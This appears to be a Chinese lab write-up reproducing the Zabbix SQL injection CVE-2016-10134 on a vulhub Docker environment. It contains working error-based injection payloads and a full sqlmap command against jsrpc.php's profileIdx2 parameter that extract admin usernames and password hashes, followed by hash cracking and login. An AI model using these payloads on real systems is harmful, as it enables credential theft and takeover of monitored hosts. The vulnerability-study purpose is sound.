[CVE-2016-10134]zabbix sql注入实测

参考链接vulhub
目的:熟悉和复现该漏洞做治理内部发现的漏洞
漏洞注入点:profileIdx2
漏洞路由:/jsrpc.php这个文件
漏洞环境:搭建vulhub docker环境
靶场环境
环境搭建完成,默认8080端口,可以改
用brupsuite 抓包开始复现漏洞,确认漏洞是否存在,那当前用户数据用户名 user(),可见有root用户返回,证明漏洞存在。
报错注入的漏洞存在。
在这里插入图片描述

sql注入漏洞存在,下一步是取出关键信息,zabbix取出Admin的密码就可以控制该系统的所有主机了,那么开始取数据,通过zabbix相关信息查到登陆用户密码在zabbix.users 这个表中。

(select concat(alias,0x7e,passwd) from zabbix.users limit 0,1)   #关键payload
%28%73%65%6c%65%63%74%20%63%6f%6e%63%61%74%28%61%6c%69%61%73%2c%30%78%37%65%2c%70%61%73%73%77%64%29%20%66%72%6f%6d%20%7a%61%62%62%69%78%2e%75%73%65%72%73%20%6c%69%6d%69%74%20%30%2c%31%29        #url编码后的payload

执行成功
拿到用户名Admin,密码的hash,5fce1b3e34b520afeffb37ce0 ??? 不是32位的看来被截断了(不知为什么被截断了),这没法破解信息不全,这时时候用 mid函数取hash后20位,然后做个拼接即可
重新制作payload
重新注入
取到了密码hash的后20位,520afeffb37ce08c7cd66,与前面的截断的串拼接下。得到的hash为:5fce1b3e34b520afeffb37ce08c7cd66

破解hash,拿web登陆密码
破解md5串
登陆zabbix主机
登陆成功

后记ps:
1 知道注入点后可以直接sqlmap : (动作很大会被监控)

sqlmap -u "http://x.x.x.x:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=2" --batch -p "profileIdx2" -D zabbix -T users -C alias,passwd --dump

在这里插入图片描述

2 sql注入常用函数,updatexml、concat、mid等需要熟悉应用
3 0x7e字符是“~”符号,为了方便在报错注入中找出是否成功的结果加的标记

猜你喜欢

转载自blog.csdn.net/u013908944/article/details/109815348